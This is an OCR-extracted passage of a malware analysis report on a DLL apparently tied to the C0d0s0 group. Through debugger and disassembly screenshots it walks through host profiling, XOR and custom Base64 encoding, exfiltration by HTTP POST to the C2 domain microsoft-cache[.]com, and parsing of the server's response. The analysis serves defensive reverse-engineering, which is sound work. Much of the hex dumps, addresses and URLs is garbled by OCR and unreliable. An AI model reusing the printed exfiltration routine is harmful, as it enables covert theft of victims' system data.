+10] DOAED282 L"http://wwe. gooale. com”

i [es|
es|
es|
es|
s

]

‘dword ptr [6CD8424C <apt.&winHTCPOPErRequest>]=<winhttp.WinHttpOpenRequest>
. Text:6CD72003 apt.d11:$2003 #1403

2 DOCITEEE
@Woump1  @Woump2z  WWDump3  @Woumps  Woumps @) watch1 | [x-llocls 2 Stuct DOAEBTIC | ODAEBTCO | L™
TR AT T | poagezac | aacons20 | L /maney ot com-Fines -nuisance-cal1szonz3s 2846092655 9adata=qguucTxx1gip”
OOAEB7FO|2F| 6D 6F GE|65 79 2F GF|G6 63 6F 6D[2D 66 69 GE | /money,/ofcom-rin O e v
0DAEES00( 65 73 2D GE|75 69 73 G1|6E 63 &5 2D|63 €1 6C &C|es-nuisance-call DOAEB7AR ODREDZAZ |LEHLER:/ /. googl < fcon
o H 3 3z 36 3 235284609265 OIAEEZAC
3 Edls b 33 21530 S ELeE SEE30007E DOAEE7ED | 00000100

Figure 50

If the request is not successful, the process sleeps for 180 seconds, and then it tries again. The process retrieves
header information by calling WinHttpQueryHeaders with 0x16 (WINHTTP_QUERY_RAW_HEADERS_CRLF)

parameter:

Figure 51

As before, the malware extracts the status code and checks if it’s equal to 200 by calling WinHttpQueryHeaders API

i . 53 push EE)’(‘
! - 8D 45 FC lea eax,dword ptr ss:[ebp-40
[ . 50 push eax
d L] FF 75 F8 push dword ptr ss:[ebp-si
! - 53 push ebx
1 L] 6A 16 push 16
| . FF 7& 08 push dword ptr ds:[esi+s]
EIP gy e 1 FF D7 call edi £
i & e e E———
edi=<winhttp.WinHttpQueryHeaders> (70CB3390)
.Text:6CD71ACS apt.d11:3$1ACE #ECS
4% Dump 1 B4 Dump 2 B4y Dump 3 B4y Dump 4 24 Dump 5 8 watch 1 lx=] Locals ;’ Struct
ASCIT
04600C48 (00) 00 00 OO |00 OO0 OO Q0|00 00 00 O00(00 OO0 00 OO | v savavannnnns
04600C58| 00 00 00 00|00 OO 00 00|00 OO0 00 CO(00 00 00 00| .....vceuerunnas
nNaARNNCER I NN NN NN andnn o N ol oo on a0 oo lon o on nn

with 0x20000013 (WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter:
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. 52 push edx

e 6CD71AZS 8D 81 OC 11 00 00 lea eax,dword ptr ds:[ecx+110C]

#| 6CD71AZA 80 75 FC lea esi,dword ptr ss:[ebp-40

® | BCD71A3D 4 push esi

®| 6CD71AZE S0 push esax

® | BCD71ASF 52 push edx

®f eCD71A40 68 13 00 00 20 push 20000013

®| 6CD71A4 FF 71 08 push dword ptr ds:[ecx+3]

®| 6CD71A48 89 10 mov dword ptr ds:[eax],edx

| 6CD7IA4A C7 45 FC 04 00 00 0O mov dword ptr ss:lfebp-4[, 4
F—e FF 15 40 47 D8 &C call dword ptr ds:[<&winHttpQueryHeaders>]

. o T E—— ey

dword ptr [6CDS84240 <apt.&winHttpQueryHeaders>]=<winhttp.winHttpQueryHeaders>

-Text:6CD71A51 apt.dl1:$1A51 #ES1

; | 0AER7 sC EEEEN
Woump1  @Woump2z @lpump3  WWoump4  WHoumps @ watchi  kellocals g Struct O0OAEE7 90 gggggsoig
sairecs [ vex sscrs | ez cmerees
04603B70 (48 00 04 0O0(54 00 50 OO(2F 00 31 0O0|2E 00 30 0OO|H.T.T.P./.1...0. OOAEBTSC | DDAEETAS
04603B80 |20 00 32 00|30 00 30 00|20 00 4F 00|48 00 OD 00| .2.0.0. .0.K... HATR D
04603890 (0A 00 44 00|61 OO 74 00|65 OO 3A 00|20 00 57 00| ..D.Aa.T.2.:. .W. DDAEETA4 | DOAECAAD
04603BA0 |65 00 64 00|2C 00 20 00|32 00 33 00|20 00 44 oo|e.d.,. .2.3. .D. CHALE AL | DhoCDEE
04603BB0 |5 00 63 00|20 00 32 00[30 00 32 00|30 00 20 00|e.c. .2.0.2.0. . BHAER S 55 DAERID S
04603BCO |31 00 31 00(3A 00 34 00|32 00D 3A 00(35 00 35 00|1.1.:.4.2.:.5.5. DOAEETED FECDT2002
04603BD0 |20 00 47 00|3D 00 54 00|0D 00 DA 00|43 00 6F 00| .G.M.T..... Eig Shach i ||loabansag
D4603BED|6E D0 74 00|65 OO0 G6E 00|74 00 2D 00|4C 00 65 O0|n.t.e.n.T.-.L.e. ooacs7es || cosECARD
04603BF0|6E 00 67 00|74 D0 68 00|3A 00 20 00|31 00 34 00|n.g.t.h.:. .1.4. SRAERAE || BORERALE
04603C00 |34 DO 36 0O|0D 00 DA 00|43 00 6F OO|GE 0D 74 00|4.6..... €20 Nk 00aes7co | oo450047
04603C10|65 00 6E 00|74 00 2D 00|54 00 79 00|70 00 65 00|e.n.t.-.T.y.p.e. hetieh || enabnaca
04603C20(3A DD 20 00|74 DO 65 DO|78 00 74 OO|2F 00 68 00|:. .T.e.x.t./.h. ooaeg7cs || cooooooo
04603C30(74 00 6D 00|6C 00 OD 00|QA 00 53 00|65 00 72 00|t.m.T..... s.e.r. St [aotdnas
04603C40|76 00 65 00|72 DO 3A 00|20 00 46 00|61 00 68 00|v.e.r.:. .F.a.k. Shatiobe Lotacnaia
04603C50 |65 00 4E 00|65 00 74 OO|2F 0D 31 DO|2E 00 33 O0|e.N.e.t./.1...3. DOAEETDA FECDT1815
04603C60|0D 00 DA 00[0D 0O DA 00|00 00 00 00|00 00 00 00| . eenrensaenenn. Rnren | ke e
Figure 52

Now there is a call to the WinHttpQueryDataAvailable function, and then it reads the data returned by the C2 server
using WinHttpReadData API:

et #| sco71EDO 50 push eax
[ ®| 6CD71ED1 FF 75 FC push dword ptr ss:|[[ebp-4]
fenom o 6CD71ED4 57 push edi
el ® | 6CD71BDS FF 76 08 push dword ptr ds:[esi+2]
Fg————>e FF 15 58 42 D8 &C cdll dword ptr ds:[<a&winHttpReadData=]
ii i e e T S S e
dword ptr [6CD84258 <apt.&WinHttpReadData=]=<winhttp.WinHttpReadData>
LText:6CD71BDS apt.d11:$1BDS #FDS

o Durnp e Dump o Dump s Dump o Dump ! Wa x=] Locals . Struct
hoump1  @hpump2  @MDump3  @Wpump4  Whoumps @ watch1  Bellocals

[address [Hex [ASCIT I
| 04606570 @@ 00 00 ooloo oo oo ooloo oo 0o ooloo 00 oo oOlR. ... ceueaaats |

DDAEB7 B4
OO0AEB7 88
OOAEB7SC

Figure 53

The buffer containing the information that will be exfiltrated is XORed byte-by-byte with a one-byte key. The
following information belongs to the buffer: the C2 server address, hostname, username, IP address represented as
hex values, 01 constant because the process is running on a 64-bit environment, the result of GetLocaleIlnfoA call
(0x1b5 = 437 in our case), the amount of physical memory represented as a 32-bit value, the amount of physical
memory currently available represented as a 32-bit value, the processor name, the width of the screen of the primary
display monitor represented as a 32-bit value (0x780 = 1920 in our case) and the height of the screen of the primary

display monitor represented as a 32-bit value (0x438 = 1080 in our case):
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®| 6CDT4147 33 FF xor edi,edi
r--—»@ || GCD7 4149 84 4D EC mov cl,byte ptr ss:[febp-14]
30 4C 07 12 xor byte ptr ds:[edi+eax+12],cl
47 inc edi
3B FE cmp edi,esi
~ 72 F4 jh apt.&CD74149

- e e

bvte ptr [edi+eax*1+12]=[00C1F4B2 L"http://www.microsoft-cache.com: 443"]=68 "h’
cl=n7 "x"

Stext:6CD7414C apt.dll: $414C #354C

oump1l @ oumpz 4 Dump 3 PyDump4 B Dump 5 @ watch1 = Locals ;’ﬂ Struct
Address | Hex ASCII s

0O0C1F4B2 I68 00 74 00|74 OO0 7O OD|3A OO0 2F 00|2F 00 77 OO|R.t.t.p.:././ . w
OOC1F4C2 (77 00 77 OD|2E 00 6D 00|29 00 €3 00|72 00 6F OO |(wW.wW...M.i.C.r.o
DOC1F4D2 |73 00 6F 00|66 00 74 002D 00 €3 Q0|61 0D €3 Q0|s.o.F.t.-.c.a.c
OOC1F4E2 (68 00 65 OO0|Z2E 00 §3 OO(6F 00 60 OO|3A 00 34 00| h.e...c.o.m.i.4
0OC1F4F2| 34 00 33 00|00 0O OO QOO0 OO OO0 QOO0 0O OO0 00| 4.3

0O0C1F502 |00 00 00 COO|00 00 OO 000D OO0 OO0 00|00 OO OO0 OO0
0OC1F512 |00 00 00 OO|00 00 OO0 O0(0D 00 00 OO|00 00 00 0D
0OC1F522 |00 00 00 OO|00 00 OO0 OO0(O0D OO0 00 00|00 OO0 OO0 OO0
0OC1F532 |00 00 00 Q0|00 00 OO0 000D 00 00 00|00 00 00 0D
0OC1F542 |00 00 OO0 OO|O0D 00 OO O0(0D OO0 OO OOD|00 OO0 OO0 0D
0OC1F552 |00 00 00 OO|00 00 OO0 000D 00 0O OO|00 00 00 0D
0OC1F562 |00 00 OO0 OO|00 00 OO O0(0D OO0 OO 00|00 OO0 OO0 0D
QOC1F572 |00 00 00 00|00 00 0O OO0(00 OO 00 00|00 00 00 00
0OC1F582 |00 00 OO0 OO|0D 00 OO0 000D OO0 OO OOD|00 OO0 00 0D
00C1F592 |00 00 00 OO|00 00 OO 000D OO0 00 00|00 OO OO0 OO0
0OC1FS5AZ | 00 00 00 OO|00 00 00 OO0 (0D 00 00 D000 OO0 00 00
0OC1F5B2 |00 OO0 00 CO|00 00 OO0 000D OO0 OO0 00|00 OO OO0 OO0
0OC1F5C2 | 00 00 00 00|00 00 OO0 O0(0D 00 00 OOD|00 00 00 0D
00C1F5D2 |00 00 00 OO|00 00 OO0 00|00 OO0 00 00|00 OO OO0 OO0

£ >

Figure 54

After the operation is complete, the buffer looks like in the following picture:

Address | Hex ASCII

0OC1F4B2 |BE D7 A3 D7 |A3 D7 A7 D7 (ED D7 F8 D7 |F8 D7 AD D7 | EXEXEIXEXTHKENOX X
OOC1F4C2 | A0 D7 AD D7 |FS D7 BA D7 (BE DF B4 D7 |AS DF B8 D7 | X xhx"xﬁx:xEx’x
00C1F4D2 | A4 DY B8 D7 (B1L DY A3 D7 (FA D7 B4 D7 |Be D7 B4 D7 nxhx¢xgxux xﬂx_x
OOC1F4E2 | BF D7 B2 D7 |F9 D7 B4 D7 (B8 D7 BA D7 |ED DF E3 D7 ;x:xux ¥ oMERIMANM
OOC1F4F2 | E3 D7 E4 D7 (DF D7 D7 D7 (D7 D7 DY D7 |D7 D7 D7 D7 | Sxamsoroox
OOC1F502 |D7 D7 D7 D7 |DF D7 D7 D7 (D7 D7 D7 D7 (D7 D7 D7 DT | 3000000000000
OOC1F512 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 D7F | MO0
OOC1F522 |D7 D7 DF DF|DF D7 DF D7 (D7 DF D7 D7 (D7 D7 D7 DF | 2000000000000
OOC1F532 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 D7F | 3000000000000
OOC1F542 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 DF | 3000000000000
OOC1F552 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 D7F | 2000000000000
OOC1F562 |D7 DY D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 DF | 3OO0
OCOC1F572 |D7 DY DF D7 (DF D7 DF D7 (D7 D7 DY D7 |D7 D7 D7 D7 | 3000000000000
OOC1F582 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 D7F | 2000000000000
OOC1F592 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 D7 D7 |D7 D7 D7 DF | 3OO0
OOC1F5AZ (D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 DT D7 |D7 D7 D7 DF | 2000000000000
OOC1F5B2 (D7 D7 D7 D7 |DF D7 D7 D7 (D7 D7 D7 D7 (D7 D7 D7 DF | 3000000000000
OOC1FSCZ2 |D7 D7 D7 D7 (DF D7 DF D7 (D7 D7 DY D7 |D7 D7 D7 DF | 3OO0
OOC1F5D2 |D7 D7 D7 D7 |DF D7 D7 D7 (D7 D7 D7 D7 |D7 D7 D7 DF | 3000000000000

Figure 55

The malware developers have written their implementation of the Base64 algorithm rather than relying on Windows

APIs. The following picture presents a part of the assembly code corresponding to it:
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LJgext:oCD74268
text:6CD74268 loc_RCDV4265:
.text:6CD74268 mov [ecx], eax
Ltext:6CD7426A mov eax, edi
.text:6CD7426C cdq
Ltext:6CD7426D0 push 3
Jext:6CD7426F pop ecx
.text:6CD742768 idiv ecx
Ltext:6CD74272 mov ecx, edi
LTdext:oCD74274 xor eax, eax
Ltext:6CD74276 xor esi, esi
Ltext:6C0D74278 sub ecx, edx
Jtext:6CD7427A mov [ebptvar_4C], ecx
LdextioCD7427D test ecx, ecx
text:6CD7427F jle short loc_6CD742ED
_ L 4
bl et 55
LText:eCD74281
.text:6C074281 loc_6CD74281:
Ltext: 60074281 mov edi, [ebp+arg_ 8]
text:6CD74284 lea ecx, [editesi]
.text:6CD74287 movzx  edx, byte ptr [ecx]
Ltext:6C074284 shr edx, 2
text:6CD7428D mov dl, [ebptedxtvar_48]
.text:6C074291 mov [ebx+eax], dl
text:6CD74294 movzx  ecx, byte ptr [ecx]
Ltext:6CD74297 shl ecx, 4
Ltext:6CD74294 lea edi, [edi+esi+l]
Ltext:6CD7429E movzx  edx, byte ptr [edi]
et :6C074241 shr edx, 4
text:6C074244 add edw, ecx
Ltext:6CD74246 and edx, 3Fh
.text:6C0742A9 mov cl, [ebptedxtvar_48]
text:6CD742AD mov [ebxteax+1], cl
text:6CD742B1 mov ecx, [ebptarg_8]
.text:6C074264 movzx  edi, byte ptr [edi]
Ltext:6CD742B7 lea ecx, [ecxtesitl]
Ltext:6CD742BB movzx  edx, byte ptr [ecx]
text:6CD742BE shr edx, 6
Jtext:6CD742C1 lea edx, [edxtedi*a]
text:6C0742C4 and edx, 3Fh
text:6CD74207 mov dl, [ebptedxtvar_ 48]
text:6CD742CB mov [ebxteax+2], dl
.text:6CD742CF movzx  ecx, byte ptr [ecx]
Ltext:6C0742D2 and ecx, 3Fh
Jtext:6CD74205 mov cl, [ebptecxtvar_48]
Ltext:6C0742D9 mov [ebx+eax+3], cl
text:6CD7420D mov ecx, [ebptvar_4C]
Ltext:6C0D742ER add esi, 3
Ltext:6CD742E3 add eax, 4
Ltext:6CD742EE cmp esi, ecx
.text:6CD742EE jl short loc_sCD74281
-
Figure 56

The encrypted buffer is encoded with the Base64 algorithm:
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Address | Hex ASCII |

04603065 |45 &7 67 41|41 4E 63 43 (62 6B 51 41(42 41 41 41| EggAANcCbhkOaBAAA
04603078 (41 41 41 41|43 41 41 41|76 39 65 GA|31 36 50 55| AAAACAAAVIE]L1GPX
04603088 | 70 39 668 74|31 2F 6A 58(2B 4E 65 67 (31 36 44 55| paftl/jX+NegleDX
04603098 6F 4E 66 35|31 37 72 58|76 74 65 30(31 36 58 58| ONF517rXvte0lexX
04603DA8| 75 4E 65 6B|31 37 6A 58|73 64 65 G6A(31 2F 72 58| uNeklFjXsdejl/rX
D4603DB8| 74 4E 65 32|31 37 54 58|76 39 65 79|31 2F 6E 58| TNez2lrTxXvIoeyl,/nx
04603DC8| 74 4E 65 34|31 37 72 58|37 64 66 6A(31 2B 50 58| CNe4lFfrX7dfjl+PX
04603DD8 (35 4E 66 55|31 39 66 58|31 39 66 58|31 39 66 58| SNFX19TX19TX19TX
04603DEB( 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603DF8( 31 39 66 55|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603ED8( 31 39 66 55|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603E158| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 55| 19TX19TX19TX19TX
04603E28( 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603E38| 31 39 66 58|31 39 66 58|31 39 66 58(31 33 66 55| 19FX19TX19TX19TX
04603E48( 31 39 66 55|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603E58| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 55| 19TX19TX19TX19TX
04603E68( 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX
04603E78| 31 39 66 58|31 39 66 58(31 39 66 58(31 39 66 55| 19TX19TX19TX19TX
04603E88( 31 39 66 55|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX

Figure 57

As before, there is a WinHttpOpen API call (same user agent as the last time) followed by a WinHttpSetTimeouts
function call, and then it tries to connect to www.microsoft-cache[.]Jcom on port 443 using WinHttpConnect API. The
malware performs a POST request by calling the WinHttpOpenRequest function (as before, the data parameter

contains randomly-generated characters):

o] 6CD71FFT 50 push eax eax:L"POST"
o | sco7iFFs 53 push ebx x87statusword 0000
#| 6CD71FFS FF 75 08 push dword ptr ss:[febp+s] [ebp+8]:L"/world, | X87SW_ B O xB7SW.C3 0 x87SW.C2 0O
*| 6cD71FFC 8D 45 FO lea eax,dword ptr ss:[febp-10] XBFSW_C1 O xB7SW_CO O x87SW_ES 0
o| 6cD71FFF 50 push eax eax:L"POST" XBTSW_SF D X87SW_P 0 X87SW_U O
o| 6c072000 FF 76 04 push dword ptr ds:[esi+4] i ———
. FF 15 4C 42 D8 6C call dword ptr ds:[<awinHttpopenrRequests>] . z —
>
- - - T [es 5358
dword ptr [6CDB424C <apt.&WinHttpOperRequest>]=<winhttp.WinHttpOperRequests i [esp+4] ODAEE7SS L"POST
esp+8] 04600C48 L"/world/video/shri
: 0000
.TEXt:6CD72003 apt.dl11:$2003 #1403 5: [espt10] OOAEE3DZ L"http://www.googl
00C0B958
Woump1  @pump2z  @Wpump3  Woump 4! PINGGAFRT64| OoAER7 28 | L"POST"
PR T L"/wor1d/video/shrien-dewani-arrives-uk-murder-trial-collapses-video? ssadata=joi
04603D68 [45 67 67 41 41 4E 63 43|62 6B 51 - v -
04603D78| 41 41 41 41(43 41 41 41|76 39 €5 L http: //www. google. com
04603088 | 70 39 66 73|31 2F GA 58|28 4E 65 67

Figure 58

The encrypted + encoded buffer is exfiltrated to the C2 server via a WinHttpWriteData function call, as shown below:

T ®| 6CD7 2089 0 push eax

i ® | 6CD7 2034 FF 75 10 push dword ptr ss:|[febp+10§

g b e scprzosD 89 5D 08 mov dword ptr ss:[febp+3l, ebx

I e s || 6CD7 2090 FF 75 0OC push dword ptr ss:[@ebp+Cl

H | ®| 6CD7 2093 FF 76 08 push dwerd ptr ds:[esi+8]
B2 FF 15 34 42 D8 6C €all dword ptr ds:[<&winHttpwriteData-]

i) i T N

e oy e
dword ptr [6CDS84234 <apt.&WinHCLpwriteDatas>]=<winhttp.winHttpwriteData>

.text:6CD72096 apt.d11:$2096 #1496

7 3 7 3 i 5 IR OOCOBEFE
WWoumpt  @oumpz  @Wpump3s  @Woump4  @pumps @ watch1  Iv=lLocals S M OOAEET 50| 04€03DES
address | Hex ASCII ~ DOAEBTY 4| DOODDACH

04603D68 | 45| 67 &7 41|41 4E 63 43|62 6B 51 41]42 41 41 41| EQgAANCCDKOABAAA ST
D4603D78| 41 41 41 41(43 41 41 41|76 39 65 6A[31 36 50 58| ARAACAAAVIS]16PX At bn | [DoACOaes
04603D8B8|Z0 39 66 74|31 2F 6A 58(2B 4E 65 67 (31 36 44 58|poftl/jX+NedleDx OOAEBT24 | D4E03DES
04603D98 | 6F 4E 66 35|31 37 72 58|76 74 65 20(31 36 58 58| ONFEL7FXvTeDl6XX A CE o A eioen
D4603DAG| 75 4E 65 6B|31 37 6A 58|73 64 65 6A[31 2F 72 58|uNekl7jxXsdejl/rx s e s
D4603DB8| 74 4E 65 32|31 37 54 58|76 39 65 79(31 2F 6E 58| ENe217TXvIeyl/nx Az b5 | IDRonomng
04603DC8| 74 4E 65 34|31 37 72 58|37 64 66 6A[31 2B 50 58| CNe4l7rX7dfil+Px OACR S | GAREDHGE
04603DD8| 35 4E 66 58|31 39 66 58|31 39 66 58(31 39 66 58| SNFX19TXISFKIIFK R ER SR A ERAED
04603DE8|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX1IFX G ER i CEERTA TR
04603DF&|31 39 66 58|31 39 66 58|31 39 66 58|31 39 66 58| 19TX19TX19TX19TX A E e | St
04603E08|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX1IFX noacEas || 04603DEE
D4603E18|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TX19FX19fX AEE e | fGEontAsS
04603E28|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX19FX DOAEBTAC || ODAECAAD
04603E38|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX1IFX rAER o | GoRES SR
D4603E48|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19TX19TX19TX19TX DOACE#4 | ‘CottEEDD
D4603E58|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FXIIFK 0RAERTES || 726E772E
04603E68|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19FX19fX19fX B | s it
D4603E78|31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX1FX noaceoco || Reseaes
04603E88|31 39 66 58(31 39 66 58|31 39 66 58[31 39 66 58| 19FX19TXI9FX19FX 7 ey

mnacerrall 7eeerase

Figure 59

The malicious process performs 2 WinHttpQueryHeaders function calls: 1st one has 0x16
(WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter and the 2nd one has 0x20000013
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(WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter. It checks out the status
code and ensures that it’s 200. The thread continues by calling WinHttpQueryDataAvailable and WinHttpReadData

APIs to retrieve the server’s response. The malware performs another GET request to the C2 server:

50 push eax

53 push ebx i x87Statusword 0000

FF 75 08 push dword ptr ss:[ebp+si [ | xs7sw_e © x87sw.c3 © xarswcz o
8D 45 FO lea eax,dword ptr febp-10] X87SW_C1 0O X87SW_CO O X87SW_ES O
50 push eax : € X87SW_SF O XS7SW_P O X87SW_U O

FF 76 04 push dword ptr i+4]
E— FF 15 4C 42 D8 6C call dword ptr <&WinHttpOperRequest>] v
3 | Defaut (stocal) ~ |[5_[2]00] unod
= = = = 1: [esp] OOEFDOAR
dword ptr [6CDB424C <apt.&winHTTpOperRequest>]=<winhTtp.WinHTTpOpenRequest> 2: [esp+4] ODAEB7AS L"GET"
3: [esp+B] 04600C48 L"/1ifeandstyle/marmalade
4: [esp+C] 00000000

L text: 6CD72003 apt.dl11:$2003 #1403

d DOBFDOAB
Woump1  @oump2  §Dump3 W DuNSGOAEETE4 | DOAERTAS

Address | Hex DDAEB788 | 04600C48
ODAEB7DE| 2F 6C 63 66|65 Gl GE 6
ODAEB7ES|72 60 61 6C|61 64 65 2I
ODAEB7FE|6F 6E 2D 73(61 6C 65 7

Figure 60

L"GET"
L"/Tifeandstyle/marmalade-paddington-sales-up-making-drinking?0023528461146965&dat a=vznof lywprlo”

L"http: //www.google. com”

The same steps as before are repeated one more time: 2 WinHttpQueryHeaders calls followed by
WinHttpQueryDataAvailable and then WinHttpReadData in order to read the data sent by the server. As mentioned in

the Unit42 article at https://unit42.paloaltonetworks.com/new-attacks-linked-to-c0d0s0-group/, the server’s response

should contain a “background-color” parameter followed by “#” and an offset. The offset is read, converted to an

integer using the atoi function, and then divided by 100, as shown in figure 61:

_ ¥
Ll s =]
Ltext:6CD71879 push 23k & #° : dnt
.text:6CD7187B push eax ; char *
Ltext:6CD7187C mov [ebp+var_18], ebx
Ltext:6CD71B7F call _strchr
Ltext:6C071884 pop BCX
text:6CD71885 pop ecx
Ltext:6CDV1B86 cmp eax, ebx
.text:6CD71888 j:z short loc_sCD7139B
= Y
s
Ltext:6C0D7188A inc eax
Ltext:6CD7188B push eax 5 char *
.text:6CD7188C call _atod
.text:6CD71891 pop eCcx

Ltext:6C071892 push 64h ; 'd’
.text:6CD71894 cdg

Ltext:6CD71895 pop eCx

Ltext:6CD71896 idiv ecx

.text:6CD71898 mov [ebpt+var_l1@], eax
Figure 61

The idea is that the malware reads the data found at the position equal to offset/100. In our case, we’ve modified the
response to contain “#28300” which translates to an offset of 28300 (the position will be 28300/100 = 283). The
following picture reveals the fact that the process reads the data found at that specific position (0x11b = 283):
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Eg— 03 45 FO add eax,dword ptr ==:[ebp-10]
®((6CD7 1804 56 push esi
® | 6CD718D5 50 push eax
® ((6CD7 18D 6 FF 75 F4 push dword ptr ss:[febp-cli
®||6CD718D9 ES 32 35 00 00 €all apt.6CD7F5210
® ||6CD718DE 83 C4 18 add esp,18
®||6CD718EL 83 FE 04 cmp esi L4
[ ®||6CD713E4 ~ OF 82 FO OO0 00 00 jb apt.e&CD719DA
i e (eco71sEA 6A 04 push 4 :
! ® | 6CDF18EC FF 75 F4 push dword ptr ss:[ebp-Cj
f ® ((6CD71BEF 8D 45 F8 lea eax,dword ptr ss:[ebp-sj
! ®|6CDF18F2 50 push eax
! ®([6CD71BF3 89 5D F8 mov dword ptr ss:|[febp-2§,ebx
1 ®(|6CD71BF 6 ES 15 35 00 00 €&811 apt.6CD7F5210
; ® [6CD71BFE BB 45 F8 mov eax,dword ptr ss:|[Jebp-5]
! ® [6CD718FE 83 C4 0OC add esp,C
! ®|6CD719201 3B FO cmp esi,eax
I r----#|[6CD7 1903 ~ 73 08 jae apt.&CD71900
P e [6CD71905 88 5D FF mov byte ptr ss:[febp-1J,bl
| ——*®|[6c071208| v E9 CD 00 00 00 jmp apt.&CD7190A
| ey o e e i g
o |
eax=04603F60 "<html>‘rn#25300"
dword ptr [ebp-10]=[00AEBBES8]=11B L"&"
.text:6CD718D1 apt.dll:$18D1 #CD1
g% Dump 1 e Dump 2 B4 Dump 3 B4 Dump 4 44 Dump 5 B watch 1 [*=] Locals & st
Address | Hex ASCII
04603F60 | 3C 68 74 6D |6C 3E OD OA|23 32 38 33|30 30 00 oA|ghtml>..#25300..
04603F70 | 3C 74 €9 7416C 65 3E 46|61 6B 65 4E|65 74 2D 4E| <titlexFakeNer-N
04603F80| 47 3C 2F 74|69 74 &C &5 |(3E OD 0A 3C|(2F &8 65 61|G</titlex..</hea
04603F90| 64 3E OD DA|OD OA 3C 62 |6F 64 79 ZE|0D 0A 3C 62|d>....<body>..<b
04603FADQ|3E 3C 70 72|65 3E OD OA|20 20 20 20(20 5F 5F 5F|><pres.. el
04603FBO | 5F 5F 5F 20|20 20 20 20|20 5F 20 20|5F 5F 5F 5F| DR
04603FCO|5F 5F 5F 5F |20 5F 20 20|20 S5F 20 5F(5F 5F 5F 5F Nk
04603FD0O | 5F 20 5F 5F|5F 5F 5F 5F|5F 20 20 20|20 20 5F 20| _ i
04603FEQ| 20 20 5F 20|20 5F 5F 5F|5F 5F 0D 0OA|20 20 20 20 g0
04602FF0O|7C 20 20 5F|5F 5F 5F 2F(5C 20 20 20(7C 20 7C 2F| | AR I
04604000 20 2F 20 20|5F 5F 5F SF|7C 20 5C 20|7C 20 7C 20| / st
04604010| 20 5F 5F 5F|5F 7C 5F 5F (20 20 20 SF(5F 7C 20 20 R
04604020( 20 7C 20 5C|20 7C 20 FC|2F 20 5F 5F|5F 5F 7C 0D % =
04604030(0A 20 20 20|20 7C 20 7C|5F 5F 20 2F|20 20 5C 20|. o
04604040 20 7C 20 27|20 2F 7C 20|7C 5F 5F 20|20 7C 20 20 =2 i s
04604050 |5C 7C 20 7C|20 7C 5F 5F|20 20 20 20|20 7C 20 7C(\| | |— |
04604060 |5F 5F 5F EF|EF 5F 7C 20|20 5C 7C 20(7C 20 7C 20 N
04604070( 20 5F 5F OD|0A 20 20 20|20 7C 20 20|5F 5F 2F 20| __. e e
04604080 | 2F 5C 20 5C|20 7C 20 20(3C 20 7C 20|20 SF 5SF 7C| /™ N | < | |
Figure 62

According to the same article, the first 4 bytes represent the total length, and the remaining data would be Base64-

encoded. Indeed we were able to identify the function where the server’s response is Base64-decoded:
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text:6C(D74375 var_184= byte ptr -184h
text:6(D74375 var_183= byte ptr -183h
.text:6CD74375 var_4= dword ptr -4
.text:eCD74375 arg_@= dword ptr 8
Ltext:60D74375 arg_4= dword ptr  @Ch
.text:6(D74375 arg 8= dword ptr 1@h
dext:eCD74375

.text:6C074375 push ebp

Ltext:6CD74376 mov ebp, esp

Ltext:6C074378 sub esp, 158h
.text:6CD7437E mov eax, __ security cookie
Ltext:6C074383 xor eax, ebp

Ltext:6CD74385 mov [ebp+var_4], eax
Ltext:6CD74388 mov eax, [ebptarg_4]
Ltext:6CD7438B push ebx

Ltext:6CD7438C push esi

Ltext:6C07438D push edi

.text:6CD7438E push 1@h

Ltewt:6CD74398 mow ehx, ecx

Lext:eCD74392 pop ecx

.text:6CD74393 mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVIXYZabedefghijklm”. . .
Ltext:6C074398 lea edi, [ebptvar_148]
Ltext:6CD7439E rep movsd

Ltext:6CD743A8 mov [ebpt+var_158], eax
Ltext:6CD743A6 mov eax, [ebptarg 8]
Ltext:6CD743A9 push @FFh ; size t
Ltext:6CD743AE mov [ebp+var_14C], eax
text:6C074384 lea eax, [ebp+var_183]
Ltext:6CD743BA push a 5 ARE
.text:6CD7438C push eax ; void *
Ltext:6C0743B0 movsb

.text:6CD743BE mov [ebptvar_le4], @
text:6CD743C5 call _memset

Ltext:6CD743CA add esp, @Ch

Ltext: 60074300 mov esi, ebx

et :eCD743CF test ehx, ehx

Ltext:6C074301 jle short loc_&CD743E2
Figure 63
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Ltext:6C074445 mov eax, [ebp+targ_g]
Jtext:6CD74448 lea esi, [ebx-1]
Ltext:6CD74448 shr esi, 2
